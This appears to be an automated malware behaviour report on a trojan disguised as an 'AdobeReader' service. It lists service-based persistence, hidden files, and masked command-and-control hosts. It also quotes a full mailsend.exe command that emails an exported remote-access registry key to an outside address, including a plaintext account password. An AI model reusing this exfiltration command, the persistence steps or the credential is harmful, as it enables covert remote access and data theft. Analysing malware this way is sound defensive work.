Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\AdobeReader] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\AdobeReader] 'ImagePath' = '%ProgramFiles%\Adobe\AdobeAcrobat\AdobeFP.exe'
Creates the following services
- 'AdobeReader' %ProgramFiles%\Adobe\AdobeAcrobat\AdobeFP.exe
Malicious functions
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /im rfusclient.exe /f
- '%WINDIR%\syswow64\taskkill.exe' /im rutserv.exe /f
- '%WINDIR%\syswow64\taskkill.exe' /im Acrobat-XI.exe /f
- '%WINDIR%\syswow64\taskkill.exe' /im AdobeFP.exe /f
Modifies file system
Creates the following files
- %TEMP%\$inst\2.tmp
- %TEMP%\$inst\temp_0.tmp
- %ProgramFiles%\adobe\adobeacrobat\acrobat-xi.exe
- %ProgramFiles%\adobe\adobeacrobat\adobefp.exe
- %ProgramFiles%\adobe\adobeacrobat\mailsend.exe
- %ProgramFiles%\adobe\adobeacrobat\regedit.reg
- %ProgramFiles%\adobe\adobeacrobat\vp8decoder.dll
- %ProgramFiles%\adobe\adobeacrobat\vp8encoder.dll
- %ProgramFiles%\adobe\adobeacrobat\webmmux.dll
- %ProgramFiles%\adobe\adobeacrobat\webmvorbisdecoder.dll
- %ProgramFiles%\adobe\adobeacrobat\webmvorbisencoder.dll
- %ProgramFiles%\adobe\adobeacrobat\install.bat
- %TEMP%\reg621c.tmp
- %ProgramFiles%\adobe\adobeacrobat\it.txt
- %TEMP%\mailsenda01276
Sets the 'hidden' attribute to the following files
- %ProgramFiles%\adobe\adobeacrobat\acrobat-xi.exe
- %ProgramFiles%\adobe\adobeacrobat\adobefp.exe
- %ProgramFiles%\adobe\adobeacrobat\install.bat
- %ProgramFiles%\adobe\adobeacrobat\mailsend.exe
- %ProgramFiles%\adobe\adobeacrobat\regedit.reg
- %ProgramFiles%\adobe\adobeacrobat\vp8decoder.dll
- %ProgramFiles%\adobe\adobeacrobat\vp8encoder.dll
- %ProgramFiles%\adobe\adobeacrobat\webmmux.dll
- %ProgramFiles%\adobe\adobeacrobat\webmvorbisdecoder.dll
- %ProgramFiles%\adobe\adobeacrobat\webmvorbisencoder.dll
Deletes the following files
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\$inst\2.tmp
- %TEMP%\reg621c.tmp
- %TEMP%\mailsenda01276
- %ProgramFiles%\adobe\adobeacrobat\regedit.reg
- %ProgramFiles%\adobe\adobeacrobat\it.txt
- %ProgramFiles%\adobe\adobeacrobat\mailsend.exe
Network activity
Connects to
- 'rm##sys.ru':80
- 'rm#####ver.tektonit.ru':5655
- 'sm##.mail.ru':465
TCP
HTTP GET requests
- http://rm##sys.ru/utils/inet_id_notify.php?te####
UDP
- DNS ASK rm##sys.ru
- DNS ASK rm#####ver.tektonit.ru
- DNS ASK sm##.mail.ru
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
- ClassName: 'RegEdit_RegEdit' WindowName: ''
Creates and executes the following
- '%ProgramFiles%\adobe\adobeacrobat\adobefp.exe' /silentinstall
- '%ProgramFiles%\adobe\adobeacrobat\adobefp.exe' /firewall
- '%ProgramFiles%\adobe\adobeacrobat\adobefp.exe' /start
- '%ProgramFiles%\adobe\adobeacrobat\adobefp.exe'
- '%ProgramFiles%\adobe\adobeacrobat\acrobat-xi.exe'
- '%ProgramFiles%\adobe\adobeacrobat\acrobat-xi.exe' /tray
- '%ProgramFiles%\adobe\adobeacrobat\mailsend.exe' -t zik.sup@bk.ru -attach IT.txt,application/txt -sub "RMS ID" -smtp smtp.mail.ru -port 465 -f zik.sup@bk.ru -name "RMS ToktonIT" -ssl -auth-login -user zik.sup@bk.ru -pass hT*euyAyCT43 -q
- '%WINDIR%\syswow64\cmd.exe' /c ""%ProgramFiles%\Adobe\AdobeAcrobat\install.bat" "' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%ProgramFiles%\Adobe\AdobeAcrobat\install.bat" "
- '%WINDIR%\syswow64\attrib.exe' +s +h "%ProgramFiles%\Adobe\AdobeAcrobat"
- '%WINDIR%\syswow64\attrib.exe' +s +h "%ProgramFiles%\Adobe\AdobeAcrobat\*.*"
- '%WINDIR%\syswow64\attrib.exe' +s +h "%ProgramFiles%\Adobe\AdobeAcrobat\Logs"
- '%WINDIR%\syswow64\attrib.exe' +s +h "%ProgramFiles%\Adobe\AdobeAcrobat\Logs\*.*"
- '%WINDIR%\syswow64\sc.exe' delete AdobeReader
- '%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\Hardware Driver\LocalDisk" /f
- '%WINDIR%\syswow64\regedit.exe' /s "%ProgramFiles%\Adobe\AdobeAcrobat\regedit.reg"
- '%WINDIR%\syswow64\sc.exe' failure AdobeReader reset= 0 actions= restart/1000/restart/1000/restart/1000
- '%WINDIR%\syswow64\sc.exe' config AdobeReader obj= LocalSystem type= interact type= own
- '%WINDIR%\syswow64\timeout.exe' 10
- '%WINDIR%\syswow64\reg.exe' export "HKLM\SYSTEM\Hardware Driver\LocalDisk\v4\Server\Parameters" "IT.txt"
- '%WINDIR%\syswow64\attrib.exe' "regedit.reg" -S -H /S /D
- '%WINDIR%\syswow64\attrib.exe' "install.bat" -S -H /S /D
- '%WINDIR%\syswow64\attrib.exe' "IT.txt" -S -H /S /D
- '%WINDIR%\syswow64\attrib.exe' "mailsend.exe" -S -H /S /D
